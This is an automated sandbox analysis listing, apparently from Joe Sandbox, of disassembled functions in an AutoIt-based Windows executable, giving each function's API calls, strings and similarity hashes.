Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0B5538 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 124comlibraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73D0AC330: CLSIDFromProgID.OLE32 ref: 00007FF73D0AC359
Part of subcall function 00007FF73D0AC330: ProgIDFromCLSID.OLE32 ref: 00007FF73D0AC378
Part of subcall function 00007FF73D0AC330: lstrcmpiW.KERNEL32 ref: 00007FF73D0AC38A
Part of subcall function 00007FF73D0AC330: CoTaskMemFree.OLE32 ref: 00007FF73D0AC39C

IIDFromString.OLE32 ref: 00007FF73D0B55C7
CoCreateInstance.OLE32 ref: 00007FF73D0B5609
SetErrorMode.KERNEL32 ref: 00007FF73D0B5645
GetProcAddress.KERNEL32 ref: 00007FF73D0B565B
SetErrorMode.KERNEL32 ref: 00007FF73D0B56ED

Strings

DllGetClassObject, xrefs: 00007FF73D0B564B

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: From$ErrorModeProg$AddressCreateFreeInstanceProcStringTasklstrcmpi
String ID: DllGetClassObject
API String ID: 668425406-1075368562
Opcode ID: 17d9e9d3772de8db0aef5cb29927a9cee40c9631e4a3a58e5dfc936e324a3f9a
Instruction ID: 8a0c93539b884c5ca770d83b5177c381f205a1a1a6f5a4b354fcf6d17b591480
Opcode Fuzzy Hash: 17d9e9d3772de8db0aef5cb29927a9cee40c9631e4a3a58e5dfc936e324a3f9a
Instruction Fuzzy Hash: 2D518F72A0CB4AA6EB04AF96E5483B9A360FB44F84F944438DB4D47A90EF7CF055D720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0EBAB4 Relevance: 10.6, APIs: 7, Instructions: 98windowCOMMON

Download Yara Rule

APIs

CreateMenu.USER32 ref: 00007FF73D0EBB01
SetMenu.USER32 ref: 00007FF73D0EBB14
GetMenuItemInfoW.USER32 ref: 00007FF73D0EBBA7
IsMenu.USER32 ref: 00007FF73D0EBBC1
CreatePopupMenu.USER32 ref: 00007FF73D0EBBCB
InsertMenuItemW.USER32 ref: 00007FF73D0EBC01
DrawMenuBar.USER32 ref: 00007FF73D0EBC0A

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup
String ID:
API String ID: 161812096-0
Opcode ID: 26e3994c2a94f759fd11c1c9e4930c6f2fd4acea68fe4f08665ed193a3f9ccf9
Instruction ID: 9ac7af8896952d88729b39524a874f286ab793abcb7d93c1c6a13bfc24aab75c
Opcode Fuzzy Hash: 26e3994c2a94f759fd11c1c9e4930c6f2fd4acea68fe4f08665ed193a3f9ccf9
Instruction Fuzzy Hash: F1416E36A0AE0995EB50DFA6D8846AD77B4FB48F84FA44031DE0E13764EF38D485D710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0B5CA4 Relevance: 10.6, APIs: 7, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF73D0B5D00
MultiByteToWideChar.KERNEL32 ref: 00007FF73D0B5D31
SysAllocString.OLEAUT32 ref: 00007FF73D0B5D3A
SysAllocString.OLEAUT32 ref: 00007FF73D0B5D5E
SysFreeString.OLEAUT32 ref: 00007FF73D0B5D6A
StringFromGUID2.OLE32 ref: 00007FF73D0B5D88
SysAllocString.OLEAUT32 ref: 00007FF73D0B5D97

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 942b8caec823025370203f03ab39f9150ac8ee590f7a4993320e500af7a20746
Instruction ID: c450127faa7dfed5df51ec20a8570f2b444a6e7e6a267aecd6c937688b414c7e
Opcode Fuzzy Hash: 942b8caec823025370203f03ab39f9150ac8ee590f7a4993320e500af7a20746
Instruction Fuzzy Hash: 33317221B0DB4995EA64AF92E48827DB3A4FB84FD0FD84236DA5D47790EF3CE4459310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0B5B88 Relevance: 10.6, APIs: 7, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF73D0B5BDB
MultiByteToWideChar.KERNEL32 ref: 00007FF73D0B5C0C
SysAllocString.OLEAUT32 ref: 00007FF73D0B5C15
SysAllocString.OLEAUT32 ref: 00007FF73D0B5C7D

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: AllocByteCharMultiStringWide
String ID:
API String ID: 3603722519-0
Opcode ID: cf27336f202e1e338ba4465162c754a44080f01d8b1ceb11d940affce2d9ab9d
Instruction ID: c81ce9e2d017cae6f9309d8165d26c367fbf249d5fe54f36c741b087d4f6fe0c
Opcode Fuzzy Hash: cf27336f202e1e338ba4465162c754a44080f01d8b1ceb11d940affce2d9ab9d
Instruction Fuzzy Hash: BF31B061B0DB4999EB20AF92E44827DB3A4FB44F90F984236DA5D03790EF3CE4859710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0EC110 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73D046CA0: CreateWindowExW.USER32 ref: 00007FF73D046D30
Part of subcall function 00007FF73D046CA0: GetStockObject.GDI32 ref: 00007FF73D046D4D
Part of subcall function 00007FF73D046CA0: SendMessageW.USER32 ref: 00007FF73D046D60

SendMessageW.USER32 ref: 00007FF73D0EC1C0
SendMessageW.USER32 ref: 00007FF73D0EC1D4
SendMessageW.USER32 ref: 00007FF73D0EC1E8
SendMessageW.USER32 ref: 00007FF73D0EC1FF
SendMessageW.USER32 ref: 00007FF73D0EC217

Strings

Msctls_Progress32, xrefs: 00007FF73D0EC146

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: 91376e81e880bb7d3a9e21fc8dc8f7f7e105a4c754061995173df5af5231e3bf
Instruction ID: 4f055ef31299b935fef0fc82138c25b8a29473e88d15a0bc6ea5a6615f9ca1a6
Opcode Fuzzy Hash: 91376e81e880bb7d3a9e21fc8dc8f7f7e105a4c754061995173df5af5231e3bf
Instruction Fuzzy Hash: 87318B3260C68597E7609FA5F494B5AB761EB88B90F909139EB8803F58DF3CD445CF10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0C3CE4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.OLE32(?,?,?,00007FF73D0A12B4), ref: 00007FF73D0C3D0A
FindResourceExW.KERNEL32(?,?,?,00007FF73D0A12B4), ref: 00007FF73D0C3D2A
LoadResource.KERNEL32(?,?,?,00007FF73D0A12B4), ref: 00007FF73D0C3D3F
SizeofResource.KERNEL32(?,?,?,00007FF73D0A12B4), ref: 00007FF73D0C3D54
LockResource.KERNEL32(?,?,?,00007FF73D0A12B4), ref: 00007FF73D0C3D63

Strings

SCRIPT, xrefs: 00007FF73D0C3D1C

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
Opcode ID: 8bf760f3bb4dc68625970595111e6d0102ca7a7f49d6a03fa82138f85f5ee199
Instruction ID: 3e1d1398fd9a83cdff0bbd0010b81fdece3e5cdff7a14d2201fea28bc4686ed1
Opcode Fuzzy Hash: 8bf760f3bb4dc68625970595111e6d0102ca7a7f49d6a03fa82138f85f5ee199
Instruction Fuzzy Hash: 87219D32A1DB4582EB509B62E088769A3A0FB88F84F544035DE4E47B54EF3DE405D710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0AB918 Relevance: 9.2, APIs: 6, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 00007FF73D0AB92D
VariantClear.OLEAUT32 ref: 00007FF73D0AB9B2
VariantCopy.OLEAUT32 ref: 00007FF73D0AB9BE
VariantClear.OLEAUT32 ref: 00007FF73D0AB9C9
SysAllocString.OLEAUT32 ref: 00007FF73D0AB9F9
VariantCopy.OLEAUT32 ref: 00007FF73D0ABA5B

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Variant$ClearCopy$AllocInitString
String ID:
API String ID: 3859894641-0
Opcode ID: c8d7e71b8f4c7d771651c364d0d3143786a73332e9fbc6e0fb61ee9492127992
Instruction ID: e8c065f65aed91f8a3823d3e005adbe9e10e071b32082c1ff1f870d9a8b987b1
Opcode Fuzzy Hash: c8d7e71b8f4c7d771651c364d0d3143786a73332e9fbc6e0fb61ee9492127992
Instruction Fuzzy Hash: 26718132A3C24AA1EA25BFA591540BDE760EF45F80F848136D74E0B799FF6DE411A330

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0E92F0 Relevance: 9.2, APIs: 6, Instructions: 163windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32 ref: 00007FF73D0E939C
GetMenuItemCount.USER32 ref: 00007FF73D0E93D5
GetMenuStringW.USER32 ref: 00007FF73D0E940E
GetMenuItemID.USER32 ref: 00007FF73D0E949A
GetSubMenu.USER32 ref: 00007FF73D0E94AB
PostMessageW.USER32 ref: 00007FF73D0E950F

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Menu$Item$CountMessagePostString
String ID:
API String ID: 650687236-0
Opcode ID: b796405f2cf8fa748deec6b5a619f8a4111013f974b6ff877e412ca8b10cd198
Instruction ID: c6930f060d52ddff8256d5c79ac56c01f4767f0a635f42f5b677de089b0bd1be
Opcode Fuzzy Hash: b796405f2cf8fa748deec6b5a619f8a4111013f974b6ff877e412ca8b10cd198
Instruction Fuzzy Hash: 4E618F62A0CA8A91EB50EB96E4505AEB760FB88FC4F844031EE8E47795EF3CD4409710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0BDFC0 Relevance: 9.1, APIs: 6, Instructions: 131filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73D0BD804: GetFullPathNameW.KERNEL32 ref: 00007FF73D0BD832

Part of subcall function 00007FF73D0BD804: GetFullPathNameW.KERNEL32 ref: 00007FF73D0BD847

Part of subcall function 00007FF73D0BDCA4: GetFileAttributesW.KERNELBASE ref: 00007FF73D0BDCA8

lstrcmpiW.KERNEL32 ref: 00007FF73D0BE047
MoveFileW.KERNEL32 ref: 00007FF73D0BE07A
wcscat.LIBCMT ref: 00007FF73D0BE0CB
wcscat.LIBCMT ref: 00007FF73D0BE0DE
wcscat.LIBCMT ref: 00007FF73D0BE0F4
SHFileOperationW.SHELL32 ref: 00007FF73D0BE20E

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Filewcscat$FullNamePath$AttributesMoveOperationlstrcmpi
String ID:
API String ID: 564229958-0
Opcode ID: 7c7196d17c6f36e09549358166ae616dcc8993101c7ef4dcbdd2504e62250dc8
Instruction ID: 8c3f7ba59b7aa95ba9abf6afad1e407c90dd70967bf0e7462d862ad2a62c2613
Opcode Fuzzy Hash: 7c7196d17c6f36e09549358166ae616dcc8993101c7ef4dcbdd2504e62250dc8
Instruction Fuzzy Hash: 72514472A1C686A5EB24FFA0D4402EDA364FB90F84FC04032E64D57599FFA8D749D760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D04B1C0 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 119COMMON

Download Yara Rule

Strings

0x%p, xrefs: 00007FF73D09810C
False, xrefs: 00007FF73D0980E8
True, xrefs: 00007FF73D0980EF
%.15g, xrefs: 00007FF73D04B248

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID:
String ID: %.15g$0x%p$False$True
API String ID: 0-2263619337
Opcode ID: 32bafa7ef6ef81ba380613d46986f1983d7e1ef1ee3d166cfad7bff082adc519
Instruction ID: 42356c1fe2dd0781698766bac86ace877c99f5646a2cbf9810cb6a4b7cae45a5
Opcode Fuzzy Hash: 32bafa7ef6ef81ba380613d46986f1983d7e1ef1ee3d166cfad7bff082adc519
Instruction Fuzzy Hash: 9A51AE32F0DA1AA5EB61EBE9D4841BCA375EB85F84F948131DA0D077A5EF39D401D360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0F1B38 Relevance: 9.0, APIs: 6, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73D05E838: ExtCreatePen.GDI32 ref: 00007FF73D05E8C7
Part of subcall function 00007FF73D05E838: SelectObject.GDI32 ref: 00007FF73D05E8DA
Part of subcall function 00007FF73D05E838: BeginPath.GDI32 ref: 00007FF73D05E8F3
Part of subcall function 00007FF73D05E838: SelectObject.GDI32 ref: 00007FF73D05E91A

MoveToEx.GDI32 ref: 00007FF73D0F1B7B
LineTo.GDI32 ref: 00007FF73D0F1B8A
MoveToEx.GDI32 ref: 00007FF73D0F1B9C
LineTo.GDI32 ref: 00007FF73D0F1BAB
EndPath.GDI32 ref: 00007FF73D0F1BBD
StrokePath.GDI32 ref: 00007FF73D0F1BCD

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: 7c5ec83602a7b85680bd54c12d61fd59ea10761cfb16aa1bc7a2b04db0578af0
Instruction ID: 0368ab85dc723b3b62577e5337dbe468abc68ff405b45a8dbf06e00ab97a6d67
Opcode Fuzzy Hash: 7c5ec83602a7b85680bd54c12d61fd59ea10761cfb16aa1bc7a2b04db0578af0
Instruction Fuzzy Hash: 0C11BF31B1C29A92E704AB56B8047ADB764FB85F95F984530CF0603B51EFBEA4498740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0AFFD8 Relevance: 9.0, APIs: 6, Instructions: 33threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32 ref: 00007FF73D0B0008
GetWindowThreadProcessId.USER32 ref: 00007FF73D0B0018
GetCurrentThreadId.KERNEL32 ref: 00007FF73D0B0020
GetWindowThreadProcessId.USER32 ref: 00007FF73D0B0030
GetCurrentThreadId.KERNEL32 ref: 00007FF73D0B0038
AttachThreadInput.USER32 ref: 00007FF73D0B0045

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Thread$CurrentProcessWindow$AttachInputMessageSendTimeout
String ID:
API String ID: 179993514-0
Opcode ID: 089465f911adc8c7e682e709ec820840154c33e6ab5af755f8b41bca33469a29
Instruction ID: 0cb679b7fa393674e18bfd630f0e07207974d99769e2a1ddd180a57715692ce8
Opcode Fuzzy Hash: 089465f911adc8c7e682e709ec820840154c33e6ab5af755f8b41bca33469a29
Instruction Fuzzy Hash: 93F0A421F1D75953F7506BB1A8887ADA3A6BF88B40FD44034C94E02754EF7DD0589610

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0DDF1C Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 233COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,?,?,00000003,00000000,?,00007FF73D0DD073), ref: 00007FF73D0DDF55

Strings

winapi, xrefs: 00007FF73D0DE0B4
stdcall, xrefs: 00007FF73D0DE0F7
cdecl, xrefs: 00007FF73D0DE05B
none, xrefs: 00007FF73D0DE186

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: BuffCharLower
String ID: cdecl$none$stdcall$winapi
API String ID: 2358735015-567219261
Opcode ID: 596d56039ffc454664d2610678aac10527d1be7abd595b63392a345406aeae23
Instruction ID: 61b2bea6f57cc5103bddb21c9b43eccf6f0c617fc7a3ad7e96fc7754a814ae84
Opcode Fuzzy Hash: 596d56039ffc454664d2610678aac10527d1be7abd595b63392a345406aeae23
Instruction Fuzzy Hash: E491D433B1C66BA1EA10AFA598505BDA7A0BB14F44B904132DE9D537C4FF3DE851E320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0D7A4C Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 212COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 00007FF73D0D7A86
CharUpperBuffW.USER32 ref: 00007FF73D0D7BA3
VariantClear.OLEAUT32 ref: 00007FF73D0D7D3D

Part of subcall function 00007FF73D0C12CC: VariantInit.OLEAUT32 ref: 00007FF73D0C131B
Part of subcall function 00007FF73D0C12CC: VariantCopy.OLEAUT32 ref: 00007FF73D0C1327
Part of subcall function 00007FF73D0C12CC: VariantClear.OLEAUT32 ref: 00007FF73D0C1334

Strings

Incorrect Parameter format, xrefs: 00007FF73D0D7ABC, 00007FF73D0D7CAD
AUTOIT.ERROR, xrefs: 00007FF73D0D7BA9

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4237274167-1221869570
Opcode ID: fe21cca23407ee4859f44099e968b1b2fc433a712d7dc1e4ae65f9be9f94580b
Instruction ID: 8771714851211bbde945715bcc732722e5d873a55945640c4fa99e87f95968aa
Opcode Fuzzy Hash: fe21cca23407ee4859f44099e968b1b2fc433a712d7dc1e4ae65f9be9f94580b
Instruction Fuzzy Hash: 1791AD27B0CB5AA5EB10EFA5D4902ADB3B4EB84F98B844436DE4E07755EF38D405D360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0B1B1B Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 187COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00007FF73D0B1B47

Part of subcall function 00007FF73D0B17FC: CharUpperBuffW.USER32 ref: 00007FF73D0B18D6

Strings

ACTIVE, xrefs: 00007FF73D0B1C28, 00007FF73D0B1C39
REGEXPTITLE, xrefs: 00007FF73D0B1CC6, 00007FF73D0B1CDB
LAST, xrefs: 00007FF73D0B1BC1, 00007FF73D0B1BEA
HANDLE, xrefs: 00007FF73D0B1C77, 00007FF73D0B1C88

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: BuffCharForegroundUpperWindow
String ID: ACTIVE$HANDLE$LAST$REGEXPTITLE
API String ID: 3570115564-1994484594
Opcode ID: 309538ca5d9b6b6061fbefc7caf82ec96f6b638cc3f26694e18a0b0e8655f041
Instruction ID: f170152d1e5dc600193700bb23c1a3372f89e0d75ae5037a54f29b71683ca293
Opcode Fuzzy Hash: 309538ca5d9b6b6061fbefc7caf82ec96f6b638cc3f26694e18a0b0e8655f041
Instruction Fuzzy Hash: B971C212F0CA0BA1EA64BBE1D4013B9E3A1AF54F84FC44431DA4E87685FF7CE548A361

Uniqueness

Uniqueness Score: -1.00%

